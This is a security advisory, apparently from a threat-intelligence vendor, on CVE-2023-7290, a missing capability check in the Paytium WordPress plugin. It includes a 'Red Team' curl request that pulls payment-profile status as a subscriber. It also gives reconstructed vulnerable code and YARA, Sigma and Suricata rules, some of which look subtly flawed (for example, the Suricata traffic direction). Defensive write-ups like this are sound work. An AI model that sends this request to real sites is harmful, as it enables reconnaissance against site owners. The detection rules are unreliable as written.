CVE-2023-7290

Executive Summary

CVE-2023-7290 is a Missing Authorization vulnerability in the Paytium: Mollie payment forms & donations WordPress plugin (versions up to and including 4.3.7). The flaw resides in the check_for_verified_profiles function, which fails to perform a capability check before allowing access. This enables authenticated attackers with subscriber-level privileges to query and retrieve the profile verification status of the site’s Mollie payment accounts.

While the CVSS score is 4.3 (Medium) and the EPSS probability is 0.0% (indicating low active exploitation in the wild), the vulnerability is significant because it exposes sensitive business information (payment profile status) to low-privileged users. In a WordPress ecosystem, this could be leveraged for reconnaissance before more targeted attacks, such as social engineering or account takeover attempts against the payment provider.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should verify the integrity of the plugin file and monitor for updates from the vendor. Since no patch is currently available, the plugin should be considered a supply chain risk.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability is easy to exploit but requires authentication and only leaks non-critical data. However, in a targeted attack, the leaked information could be used to identify active payment profiles for further exploitation.

Deep Dive & Mechanics

The vulnerability exists in the check_for_verified_profiles function within the Paytium plugin. This function is intended to be called by administrators to verify the status of Mollie payment profiles. However, the function is registered as an AJAX action without a proper capability check (e.g., current_user_can('manage_options')).

Root Cause: The AJAX handler does not verify that the requesting user has the necessary administrative privileges. WordPress AJAX actions are accessible to any authenticated user unless explicitly restricted. The missing capability check allows any authenticated user, including subscribers, to trigger the function.

Attack Flow:

1. Attacker registers or compromises a subscriber-level account on the target WordPress site.
2. Attacker sends a crafted AJAX request to /wp-admin/admin-ajax.php with the action check_for_verified_profiles.
3. The plugin executes the function and returns the verification status of Mollie payment profiles (e.g., verified or unverified).
4. Attacker uses this information to identify active payment accounts for further attacks.

Impact: Disclosure of payment profile status. While not directly exploitable for financial theft, it provides attackers with valuable reconnaissance data.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.3.7):

add_action('wp_ajax_check_for_verified_profiles', 'check_for_verified_profiles');

function check_for_verified_profiles() {
    // No capability check here
    $profiles = get_mollie_profiles();
    wp_send_json_success($profiles);
}

Patched Code (Hypothetical):

add_action('wp_ajax_check_for_verified_profiles', 'check_for_verified_profiles');

function check_for_verified_profiles() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $profiles = get_mollie_profiles();
    wp_send_json_success($profiles);
}

The patch adds a current_user_can('manage_options') check to restrict access to administrators only.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Paytium plugin <= 4.3.7 installed and activated.
• A subscriber-level account (username: attacker, password: attacker123).

Exploitation Steps:

1. Obtain a nonce (if required): Some AJAX actions require a nonce. Check the plugin source for wp_create_nonce. If a nonce is needed, extract it from the page source or use a valid session.

2. Send the AJAX request:

   curl -X POST \
     'http://target-site.com/wp-admin/admin-ajax.php' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d 'action=check_for_verified_profiles&_ajax_nonce=YOUR_NONCE' \
     --cookie 'wordpress_logged_in_xxx=attacker_session_cookie'
   

3. Parse the response: The server will return a JSON object containing the profile statuses.

Example Response:

{
  "success": true,
  "data": {
    "profiles": [
      {"id": "pfl_123", "status": "verified"},
      {"id": "pfl_456", "status": "unverified"}
    ]
  }
}

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with the action=check_for_verified_profiles parameter from non-admin users.
• Look for repeated requests from subscriber-level accounts to this endpoint.

Hardening:

• Immediate: Disable or remove the Paytium plugin until a patch is available.
• Workaround: Add a custom capability check via a WordPress mu-plugin:

  add_action('wp_ajax_check_for_verified_profiles', function() {
      if (!current_user_can('manage_options')) {
          wp_die('Unauthorized', 403);
      }
  }, 1);
  

• Long-term: Apply the principle of least privilege to all AJAX handlers.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with body containing action=check_for_verified_profiles.
• Logs: WordPress debug log entries showing AJAX calls from subscriber users to the vulnerable endpoint.
• File: Presence of the Paytium plugin version <= 4.3.7 in /wp-content/plugins/paytium/.

Detection Engineering

YARA Rule

rule Detect_Paytium_CVE_2023_7290 {
    meta:
        description = "Detects Paytium plugin files vulnerable to CVE-2023-7290"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-7290"
    strings:
        $vuln_func = "check_for_verified_profiles" nocase
        $ajax_hook = "wp_ajax_check_for_verified_profiles" nocase
        $no_cap = "current_user_can" nocase
    condition:
        $vuln_func and $ajax_hook and not $no_cap
}

Sigma Rule

title: Paytium CVE-2023-7290 AJAX Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit missing authorization in Paytium plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin-ajax.php'
        cs-uri-query|contains: 'action=check_for_verified_profiles'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-7290 Paytium AJAX Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin-ajax.php";
    http_uri;
    content:"action=check_for_verified_profiles";
    http_client_body;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Paytium plugin until a patched version is released.
2. Audit user accounts for any unauthorized subscriber-level accounts that may have been created.
3. Review access logs for suspicious AJAX requests to admin-ajax.php with the vulnerable action.

Long-term Fix:

• Apply the patch as described in the "Vulnerable vs. Patched Code" section.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=check_for_verified_profiles from non-admin users.
• Regularly update all WordPress plugins and themes.

Vendor Communication:

• Contact the Paytium plugin author and request a security update.
• Monitor the WordPress plugin repository for a patched version.

Valters IT
Cyber Threat Intelligence & DevSecOps